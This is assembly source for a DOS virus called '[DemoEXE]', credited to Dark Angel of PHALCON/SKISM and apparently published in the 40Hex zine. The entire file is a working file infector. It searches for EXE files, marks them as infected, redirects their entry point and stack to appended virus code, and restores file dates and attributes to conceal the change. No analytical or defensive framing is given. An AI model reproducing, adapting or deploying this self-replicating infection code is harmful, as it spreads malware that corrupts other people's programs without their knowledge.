.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; filesize in pages
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov cx, 1ah
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
exe_mask db '*.exe',0
heap: ; Variables not in code
newDTA db 42 dup (?) ; Temporary DTA
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus